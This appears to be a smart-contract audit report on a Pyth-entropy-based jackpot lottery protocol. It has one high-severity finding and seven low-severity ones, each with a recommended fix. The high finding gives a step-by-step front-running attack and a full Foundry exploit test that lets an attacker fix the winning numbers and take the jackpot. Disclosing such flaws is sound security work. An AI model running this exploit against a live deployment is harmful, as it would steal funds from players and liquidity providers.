[H-1] Changes to Pyth entropy provider `setEntropyProvider` allows an attacker to hijack jackpot drawing by front-running admin change

Description When a jackpot requests entropy via `requestAndCallbackScaledRandomness` of `ScaledEntropyProvider`, it internally tracks each request by the sequence number returned by the underlying entropy provider.

```
function requestAndCallbackScaledRandomness(
        uint32 _gasLimit,
        SetRequest[] memory _requests,
        bytes4 _selector, //jackpot.scaledEntropyCallback()
        bytes memory _context
    ) external payable returns (uint64 sequence) {
        // We assume that the caller has already checked that the fee is sufficient
        if (msg.value < getFee(_gasLimit)) revert InsufficientFee();
        if (_selector == bytes4(0)) revert InvalidSelector();
        _validateRequests(_requests);

        sequence = entropy.requestV2{value: msg.value}(entropyProvider, _gasLimit);
@>      _storePendingRequest(sequence, _selector, _context, _requests);
    }

    function _storePendingRequest(
        uint64 sequence,
        bytes4 _selector,
        bytes memory _context,
        SetRequest[] memory _setRequests
    ) internal {
        pending[sequence].callback = msg.sender;
        pending[sequence].selector = _selector;
        pending[sequence].context = _context;
        for (uint256 i = 0; i < _setRequests.length; i++) {
@>          pending[sequence].setRequests.push(_setRequests[i]);
        }
    }
```

The `entropyProvider` address is the address of Pyth entropy provider. Pyth entropy provider increments the value of sequence number for each `requestV2` call. Though, the sequence number is unique for each request, but the problem is that different Pyth entropy providers may share the same sequence number at some point.

Consider the following scenario:

1. Attacker observes that the owner is about to call `setEntropyProvider` to set the entropy provider to a new contract.
2. Before the owner can call `setEntropyPrvider`, the attacker front-runs the transaction by

calling `ScaledEntropyProvider::requestAndCallbackScaledRandomness` with the current entropy provider address with the following parameters:

- `_gasLimit`: Sufficient gas limit for the callback
- `_requests`: Crafted two requests, one with samples=5, min=1, max=5, to create only one selection of normal balls from this set {1,2,3,4,5} and another with samples=1, min=1, max=1 to create only one selection of bonus ball from this set {1}.
- `_selector`: random value to make sure the callback fails
- `_context`: Context data needed for the callback

```
    IScaledEntropyProvider.SetRequest[] memory setRequests = new IScaledEntropyProvider.SetRequest[](2);
        setRequests[0] = IScaledEntropyProvider.SetRequest({
            samples: 5,
            minRange: uint256(1),
            maxRange: uint256(5),
            withReplacement: false
        });
        setRequests[1] = IScaledEntropyProvider.SetRequest({
            samples: 1,
            minRange: uint256(1),
            maxRange: uint256(1),
            withReplacement: false
        });
        Jackpot.DrawingState memory drawingState = jackpot.getDrawingState(1);
        uint32 entropyGasLimit = entropyBaseGasLimit + entropyVariableGasLimit * uint32(drawingState.bonusballMax);
        uint256 fee = scaledEntropyProvider.getFee(entropyGasLimit);

@>        sequence = i_scaledEntropyProvider.requestAndCallbackScaledRandomness{value: fee}(
            entropyGasLimit, setRequests, this.revertFunction.selector, ""
        );
```

3. The attacker wants the deletion of pending request to fail in the callback, so that the pending request remains in the mapping for the sequence number [s], that will be used in the original `Jackpot::runJackpot` call.

```
function entropyCallback(uint64 sequence, address, /*provider*/ bytes32 randomNumber) internal override {
        PendingRequest memory req = pending[sequence];
        if (req.callback == address(0)) revert UnknownSequence();

        delete pending[sequence];

```

```
        uint256[][] memory scaledRandomNumbers = _getScaledRandomness(
            randomNumber, req.setRequests);
        (bool success,) =
            req.callback.call(abi.encodeWithSelector(req.selector,
                sequence, scaledRandomNumbers, req.context));
@>      if (!success) revert CallbackFailed(req.selector);

        emit EntropyFulfilled(sequence, randomNumber);
        emit ScaledRandomnessDelivered(sequence, req.callback,
            scaledRandomNumbers.length);
    }
```

The attacker can use any account/contract with callback that reverts, there by in case `ScaledEntropyProvider::_entropyCallback` is executed for their callback, the storage value pending[s] is never cleared due to the revert.

4. Now, the owner calls `setEntropyProvider` to set the entropy provider to a new contract.
5. The attacker buys one more lottery ticket that matches their pre-selected balls {1,2,3,4,5} and bonus ball {1}.
6. The attacker can decide to wait or explicitly call `Entropy::requestV2` with the new entropy provider address until its sequence number reaches [s-1].
7. The attcker now calls `Jackpot::runJackpot`, which internally calls `ScaledEntropyProvider::requestAndCallbackScaledRandomness` with the new entropy provider address. This call returns the sequence number [s].
8. Since the attacker had previously made sure that the pending[s] is already populated with their crafted requests,when the entropy callback is executed. With the new request the callback, context, selector are upated to new values and new setRequests are appended to the existing setRequests array, keeping attacker's request as is.

```
function _storePendingRequest(
        uint64 sequence,
        bytes4 _selector,
        bytes memory _context,
        SetRequest[] memory _setRequests
    ) internal {
        pending[sequence].callback = msg.sender;
        pending[sequence].selector = _selector;
        pending[sequence].context = _context;
        for (uint256 i = 0; i < _setRequests.length; i++) {
            pending[sequence].setRequests.push(_setRequests[i]);
        }
    }
```

9. Now new pyth entropy provider will call `Entropy::reveal` which causes `Jackpot::scaledEntropyCallback` to be executed and only the first two requests (attacker's

requests) are processed, leading to the attacker winning the jackpot.

```
function _calculateDrawingUserWinnings(
        DrawingState storage _currentDrawingState,
        uint256[][] memory _unPackedWinningNumbers
    ) internal returns (uint256 winningNumbers, uint256 drawingUserWinnings) {
        // Note that the total amount of winning tickets for a given tier is the sum of result and dupResult
        (uint256 winningTicket, uint256[] memory uniqueResult, uint256[] memory dupResult) = TicketComboTracker
            .countTierMatchesWithBonusball(
            drawingEntries[currentDrawingId],
@>          _unPackedWinningNumbers[0].toUint8Array(), // normal balls
@>          _unPackedWinningNumbers[1][0].toUint8() // bonusball
        );

        winningNumbers = winningTicket;

        drawingUserWinnings = payoutCalculator.calculateAndStoreDrawingUserWinnings(
            currentDrawingId,
            _currentDrawingState.prizePool,
            _currentDrawingState.ballMax,
            _currentDrawingState.bonusballMax,
            uniqueResult,
            dupResult
        );

        emit WinnersCalculated(
            currentDrawingId, _unPackedWinningNumbers[0], _unPackedWinningNumbers[1][0], uniqueResult, dupResult
        );
    }
```

10. The winning ticket matches the attacker's ticket, hijacking the jackpot.

Impact Attacker forces the output of jackpot drawing to match their pre-selected balls, hijacking the jackpot prize at the expense of honest players and liquidity providers.

Proof of Concepts

The running test case for this issue is available at ScaledEntropyProvider.t.sol

Exploit Test Code Snippet

```
function testFrontRunSetEntropyProviderToBecomeWinner() external {
        usdcMock.mint(buyerOne, 10e6);
        vm.prank(buyerOne);
        usdcMock.approve(address(jackpot), 5e6);

```

```
        uint8[] memory normalsSet1 = new uint8[](5);
        normalsSet1[0] = 1;
        normalsSet1[1] = 23;
        normalsSet1[2] = 6;
        normalsSet1[3] = 16;
        normalsSet1[4] = 12;

        uint8[] memory normalsSet2 = new uint8[](5);
        normalsSet2[0] = 6;
        normalsSet2[1] = 7;
        normalsSet2[2] = 8;
        normalsSet2[3] = 9;
        normalsSet2[4] = 10;

        uint8[] memory normalsSet3 = new uint8[](5);
        normalsSet3[0] = 26;
        normalsSet3[1] = 17;
        normalsSet3[2] = 8;
        normalsSet3[3] = 29;
        normalsSet3[4] = 10;

        // Correct way to create an array of structs
        IJackpot.Ticket[] memory tickets = new IJackpot.Ticket[](3);
        tickets[0] = IJackpot.Ticket({normals: normalsSet1, bonusball:
            2});
        tickets[1] = IJackpot.Ticket({normals: normalsSet2, bonusball:
            2});
        tickets[2] = IJackpot.Ticket({normals: normalsSet3, bonusball:
            3});
        address[] memory referrers;
        uint256[] memory referrerSplits;

        vm.prank(buyerOne);
        uint256[] memory ticketIds = jackpot.buyTickets(tickets,
            buyerOne, referrers, referrerSplits, source);

        //attacker will going to purchase ticket with [1,2,3,4,5] and
            bonus ballno. = 1
        uint8[] memory normalsSet4 = new uint8[](5);
        normalsSet4[0] = 1;
        normalsSet4[1] = 2;
        normalsSet4[2] = 3;
        normalsSet4[3] = 4;
        normalsSet4[4] = 5;
        IJackpot.Ticket[] memory ticketsForAttacker = new IJackpot.
            Ticket[](10);

        for (uint256 i; i < ticketsForAttacker.length; i++) {
            ticketsForAttacker[i] = IJackpot.Ticket({normals:
                normalsSet4, bonusball: 1});
        }
```

```
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 5 ether);
        usdcMock.mint(attacker, 10e6);

        vm.startPrank(attacker);
        usdcMock.approve(address(jackpot), 10e6);
        uint256[] memory ticketIdAttacker =
            jackpot.buyTickets(ticketsForAttacker, attacker, referrers, referrerSplits, source);

        //Attacker will call request randomness to set pending request
        IScaledEntropyProvider.SetRequest[] memory setRequests = new IScaledEntropyProvider.SetRequest[](2);
        setRequests[0] = IScaledEntropyProvider.SetRequest({
            samples: 5,
            minRange: uint256(1),
            maxRange: uint256(5),
            withReplacement: false
        });
        setRequests[1] = IScaledEntropyProvider.SetRequest({
            samples: 1,
            minRange: uint256(1),
            maxRange: uint256(1),
            withReplacement: false
        });
        Jackpot.DrawingState memory drawingState = jackpot.getDrawingState(1);
        uint32 entropyGasLimit = entropyBaseGasLimit + entropyVariableGasLimit * uint32(drawingState.bonusballMax);
        uint256 fee = scaledEntropyProvider.getFee(entropyGasLimit);
        Random randomCallback = new Random(scaledEntropyProvider);

        vm.recordLogs();

        uint64 sequenceNo = randomCallback.requestPythEntropy{value: fee}(entropyGasLimit, setRequests);
        vm.stopPrank();
        Vm.Log[] memory entriesOne = vm.getRecordedLogs();

        bytes32 requestedWithCallbackSigOne = keccak256(
            "RequestedWithCallback(address,address,uint64,bytes32,(address,uint64,uint32,bytes32,uint64,address,bool,bool))"
        );
        bytes32 userContributionOne;
        for (uint256 i = 0; i < entriesOne.length; i++) {
            if (entriesOne[i].topics[0] == requestedWithCallbackSigOne) {
                (userContributionOne,) = abi.decode(entriesOne[i].data, (bytes32, EntropyStructs.Request));
```

```
                break;
            }
        }

        vm.prank(pythEntropyProviderOne);
        vm.expectPartialRevert(ScaledEntropyProvider.CallbackFailed.selector); //made to fail to keep pending request intact
        entropy.revealWithCallback(pythEntropyProviderOne, sequenceNo, userContributionOne, providerContribution);

        EntropyStructsV2.ProviderInfo memory pythEntropyProviderOneInfo =
            entropy.getProviderInfoV2(pythEntropyProviderOne);

        assertEq(pythEntropyProviderOneInfo.sequenceNumber, 3);

        //owner will try to update the entryopyProvider
        vm.prank(owner);
        scaledEntropyProvider.setEntropyProvider(pythEntropyProviderTwo);

        //now attacker will wait until sequence number reaches 3
        uint128 fee2 = entropy.getFeeV2(pythEntropyProviderTwo, 0);
        //random transaction for sequence number to increase to desired value
        entropy.requestV2{value: fee2}(pythEntropyProviderTwo, providerContribution2, 0);

        EntropyStructsV2.ProviderInfo memory pythEntropyProviderTwoInfo =
            entropy.getProviderInfoV2(pythEntropyProviderTwo);
        assertEq(pythEntropyProviderTwoInfo.sequenceNumber, 2);

        //as soon as sequence no. reaches 2, attacker will call run jackpot after drawingdurationtime
        vm.warp(block.timestamp + drawingDurationInSeconds + 1);
        //entropyGasLimit
        uint256 feeForRun = entropy.getFeeV2(pythEntropyProviderTwo, entropyGasLimit);
        vm.prank(attacker);

        vm.recordLogs();
        jackpot.runJackpot{value: feeForRun}();

        Vm.Log[] memory entries = vm.getRecordedLogs();

        bytes32 requestedWithCallbackSig = keccak256(
            "RequestedWithCallback(address,address,uint64,bytes32,(address,uint64,uint32,bytes32,uint64,address,bool,bool))"
        );
```

```
        bytes32 userContribution;
        for (uint256 i = 0; i < entries.length; i++) {
            if (entries[i].topics[0] == requestedWithCallbackSig) {
                (userContribution,) = abi.decode(entries[i].data, (
                   bytes32, EntropyStructs.Request));
                break;
            }
        }

        //@note provider two will call revealWithCallback to process
           callback request
        vm.prank(pythEntropyProviderTwo);
        entropy.revealWithCallback(pythEntropyProviderTwo, sequenceNo,
           userContribution, providerContribution);

        uint256 attackerBeforeBalance = usdcMock.balanceOf(attacker);
        vm.prank(attacker);
        jackpot.claimWinnings(ticketIdAttacker);
        uint256 attackerAfterBalance = usdcMock.balanceOf(attacker);
        assertEq(attackerAfterBalance - attackerBeforeBalance, 2630550)
           ;

        uint256 buyerOneBeforeBalance = usdcMock.balanceOf(buyerOne);
        vm.prank(buyerOne);
        jackpot.claimWinnings(ticketIds);
        uint256 buyerOneAfterBalance = usdcMock.balanceOf(buyerOne);
        assertEq(buyerOneAfterBalance - buyerOneBeforeBalance, 0);
    }
```

Notes on attack feasibility:

If in the case the new entropy provider has higher sequence number that the old one, it is possible for the attacker to front run the admin change and directly call `Entropy::requestV2` several times for the old provider until its sequence number exceeds that of the new provider.

Recommended mitigation To prevent this attack, we recommend the following mitigations:

1. In `ScaledEntropyProvider::_storePendingRequest`, overwrite the existing pending request instead of appending to the `setRequests` array. This ensures that only the latest request for a given sequence number is stored.

```
    function _storePendingRequest(
        uint64 sequence,
        bytes4 _selector,
        bytes memory _context,
        SetRequest[] memory _setRequests
    ) internal {
        pending[sequence].callback = msg.sender;
        pending[sequence].selector = _selector;
        pending[sequence].context = _context;
```

```
+        delete pending[sequence].setRequests; // Clear existing requests
         for (uint256 i = 0; i < _setRequests.length; i++) {
             pending[sequence].setRequests.push(_setRequests[i]);
         }
     }
```

2. Alternatively, tie the caller of `ScaledEntropyProvider::requestAndCallbackScaledRandomness` to `Jackpot` contract only, preventing arbitrary callers from manipulating pending requests.

[L-1] Uninitialized `newAccumulator` for `_drawingId == 0` in `processDrawingSettlement` leads to brittle accounting logic

Description In `processDrawingSettlement()`, the variable `newAccumulator` is assigned only when `_drawingId > 0`. When `_drawingId == 0`, the code skips initialization and continues using an uninitialized newAccumulator (`default = 0`) to convert pending withdrawals.

Code Snippet:

```
        if (_drawingId > 0) {
            newAccumulator = currentLP.lpPoolTotal == 0 ? PRECISE_UNIT
                :
                (drawingAccumulator[_drawingId - 1] * postDrawLpValue)
                    / currentLP.lpPoolTotal;
            drawingAccumulator[_drawingId] = newAccumulator;
        }

        uint256 withdrawalsInUSDC = currentLP.pendingWithdrawals *
            newAccumulator / PRECISE_UNIT;
```

Today, this does not cause incorrect payouts because the protocol prevents LPs from initiating withdrawals in `drawing == 0` (thus `pendingWithdrawals == 0` always). However, the logic is fragile:

- It relies on external rules (initiation restrictions) rather than local correctness.
- Any future code change that introduces pending withdrawals in drawing 0 will silently break LP economics.

This is a correctness and maintainability issue, not an immediate financial exploit.

Impact

- No current exploitable financial loss because `pendingWithdrawals == 0` for drawing == 0.
- Makes the system fragile to future refactors.
- It violates the documented invariant: **accumulator[0] must always be initialized to PRECISE_UNIT.**

Recommended mitigation Explicitly initialize `newAccumulator` for `_drawingId == 0` using the pre-initialized accumulator value:

```
if (_drawingId > 0) {
    newAccumulator =
        currentLP.lpPoolTotal == 0
            ? PRECISE_UNIT
            : Math.mulDiv(
                drawingAccumulator[_drawingId - 1],
                postDrawLpValue,
                currentLP.lpPoolTotal
            );

    drawingAccumulator[_drawingId] = newAccumulator;

}
+    else {
+     // Defensive: accumulator[0] should already be initialized via initializeLP()
+     newAccumulator = drawingAccumulator[0];
+    }
```

[L-2] Unbounded drawing scheduling `_initialDrawingTime` & `drawingDurationInSeconds` can lead to DoS / economic manipulation risk

Description Two related scheduling surfaces are currently unchecked:

1. `initializeJackpot(uint256 _initialDrawingTime)` accepts an arbitrary timestamp and passes it through to `_setNewDrawingState(...)` without validating that the initial drawing time is sane (future, not too soon, not absurdly far).
2. `drawingDurationInSeconds` settable via constructor or setter has no bounds or cooldowns. The code uses this value to schedule subsequent drawings (`currentDrawingState.drawingTime + drawingDurationInSeconds`) and to compute next drawing times inside entropy callbacks.

Together these gaps let the owner (or a compromised owner key) set scheduling values that break the intended cadence or freeze/accelerate drawings:

- set the initial drawing time far in the future; effectively freeze drawings and lock prize realization and LP settlement,
- set it in the past or very near now; allow immediate drawing/sampling before users/LPs had time to participate,
- set `drawingDurationInSeconds` to extremely large or extremely small values; enable denial-of-service or rapid-fire draws that undermine intended economics.

This issue is a governance and economic control vulnerability rather than a pure code bug; it enables owner-controlled timing changes that have direct monetary consequences.

Impact

- *Denial-of-Service / Funds Frozen (High):* Owner can set `_initialDrawingTime` or `drawingDurationInSeconds` to enormous values (e.g., years) so drawings never execute in a practical timeframe — players cannot claim prizes and LPs cannot realize/share funds.
- Owner can set `_initialDrawingTime` in the past (or very close to `block.timestamp`), enabling draws before purchasers or LPs had a fair window to act (ticket purchases or deposits), causing unfair payouts or LP losses.
- Owner can run draws too frequently (very small duration) or schedule draws to advantage certain actors (timing-based gaming).
- *Governance Risk:* If owner key is compromised, attacker can weaponize scheduling to cause real financial harm.

Recommended mitigation Apply constraints on these parameters:

- In `initializeJackpot(uint256 _initialDrawingTime)`, require that `_initialDrawingTime` is at least `X` minutes/hours in the future and not more than `Y` days/weeks ahead of `block.timestamp`.
- In the constructor and setter for `drawingDurationInSeconds`, enforce minimum and maximum bounds (e.g., between `1 hour` and `30 days`) to prevent extreme scheduling.
- Optionally, add a governance delay or multi-sig requirement for changing these parameters to prevent rapid malicious changes.

[L-3] Missing handling for `k == 0` leads to panic / DoS / OOG in `generateSubsets()`

Description `generateSubsets(uint256 set, uint256 k)` assumes `k >= 1` and uses algorithms `(Gosper's hack)` that `require k > 0`. When `k == 0` the function misbehaves:

`comb = (1 << k)- 1` becomes `0`, which breaks the Gosper loop and logic: the code will iterate incorrectly (or the Gosper update will behave unpredictably), and the final`assert(count == choose(n,k))` will end up panicking.

Although, the subset size (k) is always started from `1` in the current usage, the function itself does not enforce this precondition.

Impact Passing `k == 0` causes panics (assert or other failures), leading to DoS or OOG conditions.

Proof of Concepts Following test case triggers the issue and failes with panic: *panic: division or modulo by zero (0x12)*

```
function testGenerateSetsWithZeroK(uint256 set) external {
        unchecked {
        uint256 mask = (uint256(1) << 128) - 1; // safe: shift < 256
        set &= mask; // zero out bits >= 128
    }

        uint256 n = LibBit.popCount(set);
        n = bound(n, 0, 128);
        uint256 k = 0;

        Combinations.generateSubsets(set,k);
    }
```

Recommended mitigation

Add a require check for `k > 0` at the start of `generateSubsets()`, or special-case `k == 0` to return the single empty subset:

```
        if (k == 0) {
            subsets = new uint256[](1);
            subsets[0] = 0;
            return subsets;
        }
```

Else `require(k > 0, "subsets: k==0");`

[L-4] Missing symmetry reduction (`k = min(k, n-k)`) in `choose()` increases gas and intermediate magnitude

Description The implementation of the binomial coefficient calculation does not apply the standard symmetry optimization:

```
nCk = nC(n-k)
```

Using the smaller of `k` and `n-k` significantly reduces - loop iterations, size of intermediate multiplication values, risk of hitting Solidity's uint256 limit in future parameter changes and finally gas costs.

Although the contract `asserts n <=128`, which makes overflow unlikely, this is a standard safety and efficiency pattern, and omitting it wastes gas unnecessarily.

Impact

- *Minor gas inefficiency:* up to ~2× more iterations when k > n/2
- *Reduced overflow margin:* intermediate values are larger than necessary
- *No functional vulnerability*, but not optimal for performance or robustness

Current Code Snippet:

```
function choose(
        uint256 n,
        uint256 k
    ) internal pure returns (uint256 result) {
        assert(n >= k);
        assert(n <= 128);
        unchecked {
            uint256 out = 1;
            for (uint256 d = 1; d <= k; ++d) {
                out *= n--;
                out /= d;
            }
            return out;

        }
    }
```

For Example: When `n=128`, `k=80`, loop runs 80 iterations. If symmetry reduction were applied loop drops from `80 to 48`.

Recommended mitigation Apply symmetry reduction before the loop:

```
        uint256 n,
        uint256 k
    ) internal pure returns (uint256 result) {
        assert(n >= k);
        assert(n <= 128);
        unchecked {
            uint256 out = 1;
+            if (k > n - k) {
+                k = n - k;
+            }

            for (uint256 d = 1; d <= k; ++d) {
                out *= n--;
                out /= d;
            }
            return out;

        }
    }
```

[L-5] `ProtocolFeeCollected` event emitted even when protocol fee is zero, leading to misleading logs

Description `_transferProtocolFee()` computes protocol fees only when:

```
if (_lpEarnings > _drawingUserWinnings &&
    _lpEarnings - _drawingUserWinnings > protocolFeeThreshold)
{
    protocolFeeAmount = (...);
    usdc.safeTransfer(protocolFeeAddress, protocolFeeAmount);
}
```

However, the event:

```
    emit ProtocolFeeCollected(currentDrawingId, protocolFeeAmount);
```

is emitted *unconditionally*, including when the fee is **zero**.

Impact Logs become misleading, harming transparency and creating potential confusion for indexers, dashboards, auditors, and future governance analysis.

Recommended mitigation

1. Emit the event only when `protocolFeeAmount > 0`, or include an explicit flag:

```
if (protocolFeeAmount > 0) {
    emit ProtocolFeeCollected(currentDrawingId, protocolFeeAmount);
}
```

2. Emit an event with semantic clarity:

```
emit ProtocolFeeCollected(currentDrawingId, protocolFeeAmount,
    protocolFeeAmount > 0);
```

[L-6] Redundant recomputation of subsets in `_countSubsetMatches` leading to excessive gas and memory churn

Description `_countSubsetMatches()` recomputes `Combinations.generateSubsets(_normalBallsBitVector, k)` inside the bonusball loop, even though the subsets depend only on `k` and the winning normals, not on `i` ,the bonusball.

```
for (uint8 i = 1; i <= _tracker.bonusballMax; i++) {
    for (uint8 k = 1; k <= _tracker.normalTiers; k++) {
        uint256[] memory subsets = Combinations.generateSubsets(...);
            // recomputed for every i
        ...
    }
}
```

The causes:

- Repeated memory allocation (`new uint256[]`) for identical subset arrays
- Repeated combinatorial computations
- Gas usage scaled by bonusballMax

Subsets for a given `k` should be computed once per `k`, not once per `(i,k)`.

Impact

- High gas consumption for every drawing settlement
- Memory bloat due to repeated allocations

Recommended mitigation Move generateSubsets outside the bonusball loop so it runs once per `k`:

```
function _countSubsetMatches(...) internal view returns (...) {
    uint8 normalTiers = _tracker.normalTiers;
    uint8 bonusballMax = _tracker.bonusballMax;

    matches = new uint256[]((normalTiers+1)*2);
    dupMatches = new uint256[]((normalTiers+1)*2);

    for (uint8 k = 1; k <= normalTiers; ++k) {
        uint256[] memory subsets =
            Combinations.generateSubsets(_normalBallsBitVector, k);

        uint256 len = subsets.length;

        for (uint8 i = 1; i <= bonusballMax; ++i) {
            bool matchBonus = (i == _bonusball);

            for (uint256 idx = 0; idx < len; ++idx) {
                uint256 subset = subsets[idx];
                if (matchBonus) {
                    matches[(k*2)+1] += _tracker.comboCounts[i][subset].count;
                    dupMatches[(k*2)+1] += _tracker.comboCounts[i][subset].dupCount;
                } else {
                    matches[(k*2)] += _tracker.comboCounts[i][subset].count;
                    dupMatches[(k*2)] += _tracker.comboCounts[i][subset].dupCount;
                }
            }
        }
    }
}
```

[L-7] Stale `ticketOwner` and `userTickets` mappings not cleared in `claimWinnings()` casuing inconsistent state, increased storage bloat

Description In `BridgeManager.claimWinnings()` the contract validates ownership of the winning tickets using `_validateTicketOwnership(_userTicketIds, signer);` and then triggers `jackpot.claimWinnings(_userTicketIds);`.

Inside the Jackpot contract, claiming causes the NFT tickets to be burned, which is the authoritative source of ownership. However, the BridgeManager maintains its own duplicate ownership mappings:

```
mapping(address => mapping(uint256 => UserTickets)) public userTickets;
mapping(uint256 => address) public ticketOwner;
```

These mappings are never cleared in claimWinnings(). After claim:

- The NFT is burned.
- The Jackpot contract no longer tracks the ticket.
- But BridgeManager still permanently believes the user owns the ticket.

Impact This results in stale and misleading state, inconsistent with the actual NFT ownership.

Recommended mitigation After successful `jackpot.claimWinnings(_userTicketIds)`, iterate through the ticket IDs and clear the BridgeManager state:

```
for (uint256 i = 0; i < _userTicketIds.length; i++) {
    uint256 ticketId = _userTicketIds[i];
    address owner = ticketOwner[ticketId];

    delete ticketOwner[ticketId];

    // Optionally clear from userTickets[owner][drawingId]
    // depending on data structure:
    UserTickets storage t = userTickets[owner][currentDrawingId];
    // remove ticketId from t.ticketIds array or mark it claimed
}
```